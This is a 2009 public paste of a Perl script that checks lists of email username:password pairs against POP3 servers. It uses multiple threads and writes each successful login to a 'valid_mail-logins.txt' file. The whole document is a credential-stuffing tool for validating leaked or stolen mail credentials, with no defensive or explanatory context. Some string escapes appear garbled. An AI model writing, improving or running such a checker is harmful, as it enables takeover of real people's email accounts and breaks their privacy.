Public paste
Undefined
By: Guest | Date: Apr 30 2009 23:42 | Format: None | Expires: never | Size: 1.73 KB | Hits: 1010

  1. use threads;
  2. use warnings;
  3. use Net::POP3;
  4. my $counter=0;
  5. my $threads = $ARGV[0];
  6. if (@ARGV <1){print "Usage: Check.pl Threadnumber [Example: check.pl 10]n";exit;}
  7. my $trigger = 10;
  8. my @accs;
  9.  
  10. &begin;
  11. print "[-] Starting....n[-]n";
  12. foreach my $item (@accs){
  13.  
  14.         my  $ctr = 0;foreach my $thr (threads->list) {  $ctr++;}
  15.         if ($counter == $trigger){print "[-] $counter of ".scalar(@accs)."n";$trigger = $trigger + 10;}
  16.         if ($ctr < $threads){   $counter++;threads->create(&connect,$item);}else {redo;}
  17. }
  18. while (threads->list) {}
  19. print "[-]n[-] Done .... ";
  20.  
  21.  sub connect{
  22.         my $item = shift;
  23.         my @temp = split( /:/, $item);
  24.         chomp($temp[0]);
  25.     chomp($temp[1]);
  26.         my $username = $temp[0];
  27.         my $password = $temp[1];
  28.     for(my $i = 0; $i < @pop3_kennung; $i++) {
  29.         if($username =~ m/$pop3_kennung[$i]/) {
  30.             chomp($pop3_server[$i] );
  31.             if($pop = Net::POP3->new($pop3_server[$i], Timeout => 20 )) {
  32.                                 my $ret;
  33.                 if( $ret = $pop->login($username, $password) and  $ret > 0) {
  34.                                         &handle($username.":".$password);
  35.                                 }
  36.             close($pop);
  37.             }
  38.         }
  39.     }
  40.          threads->detach();
  41. }
  42.  
  43. sub handle{
  44.         my $tmps = shift;
  45.     open(FILE_OUT,">> valid_mail-logins.txt");
  46.     print FILE_OUT "$tmpsn";
  47.     close(FILE_OUT);
  48. }
  49.  
  50. sub begin {
  51.         open(FILE_IN_LOGIN, "logindaten.txt" ) or die("Cannot find logindaten.txtn");
  52.         open(FILE_IN_POP3, "pop3_server.txt" ) or die("Cannot find pop3_server.txtn");
  53.         while(!eof(FILE_IN_POP3)) {
  54.                 my $line = <FILE_IN_POP3>;
  55.         my @temp = split(/:/, $line);
  56.         push( @pop3_kennung, $temp[0]);
  57.         push( @pop3_server, $temp[1]);
  58.         }      
  59.         foreach (<FILE_IN_LOGIN>){     
  60.                 push @accs, $_;
  61.         }
  62.         close(FILE_IN_LOGIN);
  63.         close(FILE_IN_POP3);
  64. }